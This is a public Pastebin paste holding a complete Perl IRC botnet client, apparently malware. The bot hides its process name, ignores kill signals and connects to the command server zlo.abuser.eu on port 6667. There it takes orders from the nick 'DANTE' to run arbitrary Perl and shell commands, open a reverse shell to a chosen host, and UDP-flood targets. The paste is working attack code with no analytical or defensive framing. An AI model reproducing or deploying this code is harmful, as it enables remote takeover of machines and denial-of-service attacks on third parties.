Share Pastebin
Guest
Public paste!

Kristijan

By: a guest | Jun 6th, 2010 | Syntax: None | Size: 5.05 KB | Hits: 721 | Expires: Never
Copy text to clipboard
  1. #!/usr/bin/perl
  2. use IO::Socket;
  3. srand;
  4. if (`ps aux` =~ /rocknrollaaaa/) { exit; }
  5. my $fps        = 'rocknrollaaaa';
  6. #my $key      = 'sex@powered.by.mambo';
  7. my $aMaster  =   "DANTE";
  8. my $street    = 'zlo.abuser.eu';
  9. my $door      = '6667';
  10. my $num   = '300';
  11. my $home      = '#dante';
  12. my $meLen   = '7';
  13. chomp (my $me   = 'DAnteeee');
  14. chomp (my $bmidl   = 'dnteee');
  15. chomp (my $last  = 'danteee');
  16. my $walk     = '2';
  17. if(fork) { exit; }
  18. $0 = $fps;
  19. $SIG{'INT'}  = 'IGNORE'; $SIG{'HUP'}  = 'IGNORE'; $SIG{'TERM'} = 'IGNORE'; $SIG{'CHLD'} = 'IGNORE';
  20.  
  21. package da;
  22. use IO::Select;
  23. our $dasocket;
  24. our $daselect = new IO::Select;
  25. my $cur_meh;
  26. sub raw { print $dasocket "$_[0]\n"; }
  27. sub mmeh {
  28.     my $meh = $_[1];
  29.     my @abc = ('a' .. 'z');
  30.     for(my $i=0;$i<$_[0];$i++) { $meh .= $abc[int(rand($#abc))]; }
  31.     return $meh;
  32. }
  33. sub init {
  34.     my $socket = IO::Socket::INET->new(PeerAddr => $_[3],
  35.                                        PeerPort => $_[4],
  36.                                        Proto    => 'tcp',
  37.                                        Timeout  => '5') or return 0;
  38.     if(defined($socket)) {
  39.         $dasocket = $socket;
  40.         $daselect->add($dasocket);
  41.         $dasocket->autoflush(1);
  42.         raw("USER ".$_[1]." 0 0 ".$_[2]);
  43.         $cur_meh = $_[0];
  44.         raw("NICK $cur_meh");
  45.         return 1;
  46.     }
  47.     return 0;
  48. }
  49. sub loop {
  50.     my $time_out = time;
  51.     for(;;) {
  52.         my @handles = $daselect->can_read(1);
  53.         if((time - $time_out) > $num) { $daselect->remove($dasocket); $dasocket->close(); last; }
  54.         next unless(@handles);
  55.         foreach my $handle (@handles) {
  56.             my $datain;$handle->recv($datain, 1023, 0);
  57.             my @lines = split(/\r\n/, $datain);
  58.             foreach my $line (@lines) {
  59.                 if($line =~ m/^PING (:.+)/) { $time_out = time; raw("PONG $1"); next; }
  60.                 elsif($line =~ m/^\:.*\s+005\s+\.*/i) { raw("JOIN $home"); next; }
  61.                 elsif ($line =~ m/^\:.*\s+433\s+\.*/i) { $cur_meh = mmeh($meLen, $me); raw("NICK ".$cur_meh); next; }
  62.                 run::bcmd("$line");
  63.             }
  64.         }
  65.     }
  66. }
  67. package run;
  68. use Socket;
  69. sub bcmd {
  70.     my @line = split(/ /, $_[0]);
  71.     my $RawMask = shift(@line); $RawMask =~ s/://;my ($Nick, $Mask) = $RawMask =~ /(.+)!(.+)/;
  72.     unless($Nick eq $aMaster) { return; }
  73.     #unless($Mask eq $key)   { return; }
  74.     my $Type = shift(@line);
  75.     unless($Type eq "PRIVMSG") { return; }
  76.     my $To = shift(@line);
  77.     $" = ' '; $line[0] =~ s/://;my $Text = "@line";
  78.     if ($Text =~ /^(\Q$cur_meh\E\s+\.|\.)(.+)/) {
  79.         if($2 =~ /^meh\s*(.*)/) {
  80.             if($1) { $cur_meh = $1; }
  81.             else { $cur_meh = da::mmeh($meLen, $me); }
  82.             da::raw("NICK $cur_meh");
  83.             return;
  84.         }
  85.         if($2 =~ /^bye/) { da::raw('QUIT :;'); exit; }
  86.         return;
  87.     }
  88.     if ($Text =~ /^(\Q$cur_meh\E\s+\!|\!)(.+)/) {
  89.         if(!fork) {
  90.             if ($2 =~ /^eval\s+(.+)/) { eval "$1"; return; }
  91.             if ($2 =~ /^rsh\s+(.+)\s+(\d+)/) { rsh($To, $1, $2); exit; }
  92.       if ($2 =~ /^atk\s+(.+)\s+(\d+)\s+(\d+)/) { pwn::atk($To, $1, $2, $3); exit; }
  93.       if ($2 =~ /^bov\s+(.+)/) { &bsh($To, $1); exit; }
  94.             if ($2 =~ /^join (.*)/) {
  95.                 j("$1");
  96.             }
  97.             if ($2 =~ /^part (.*)/) {
  98.                 p("$1");
  99.             }
  100.             exit;
  101.         }
  102.         return;
  103.     }
  104.     if($Text =~ /^(\Q$cur_meh\E|\$sh)\s+(.+)/) { if(!fork) { bsh($To, $2); exit; } return; }
  105.     if ($To eq $cur_meh) { if(!fork) { bsh($Nick, $Text); exit; } return; }
  106. }
  107. sub bsh {
  108.     my $to = $_[0];
  109.     my $cmd = $_[1];
  110.     if($cmd =~ /cd (.+)/) { chdir("$1") or da::raw("PRIVMSG $to :No such file or directory"); return; }
  111.     my @sh_out = split(/\n/, `$cmd 2>&1 3>&1`);
  112.     foreach my $line (@sh_out) { if($line) { da::raw("PRIVMSG $to :$line"); sleep $walk; } }
  113. }
  114. sub j { &join(@_); }
  115. sub join {
  116.         return unless $#_ == 0;
  117.                 da::raw("JOIN $_[0]");
  118. }
  119. sub p { part(@_); }
  120. sub part {
  121.         da::raw("PART $_[0]");
  122. }
  123. sub rsh {
  124.     da::raw("PRIVMSG $_[0] :\002[RSH]\002 Sending...");
  125.     socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or exit;
  126.     connect(SOCKET, sockaddr_in($_[2], inet_aton($_[1]))) or exit;
  127.     open(STDIN, ">&SOCKET");
  128.     open(STDOUT, ">&SOCKET");
  129.     open(STDERR, ">&SOCKET");
  130.     system('/bin/sh');
  131.     close(STDIN);
  132.     close(STDOUT);
  133.     close(STDERR);
  134. }
  135. package pwn;
  136. use POSIX;
  137. use Socket;
  138. our $s_time;
  139. sub atk {
  140.     da::raw("PRIVMSG $_[0] :\002[atk\002 Attacking ".$_[1].":".$_[2]." for ".$_[3]."'.");
  141.     $s_time = time;
  142.     my $socket;
  143.     my $packets = 0;
  144.     socket($socket, PF_INET, SOCK_DGRAM, 17);
  145.     while($_[3] > (time - $s_time)) {
  146.         send($socket, 0, 0, sockaddr_in(!$_[2]?int(rand(65500)+1):$_[2], inet_aton($_[1])));
  147.         $packets++;
  148.     }
  149.     close($socket);
  150.     da::raw("PRIVMSG $_[0] :\002[atk]\002 Sent ".$packets." packets.");
  151. }
  152. while(1) {
  153.     if(da::init(da::mmeh($meLen, $me), $bmidl, $last, $street, $door))
  154.     {
  155.         da::loop();
  156.     }
  157.     sleep 40;
  158. }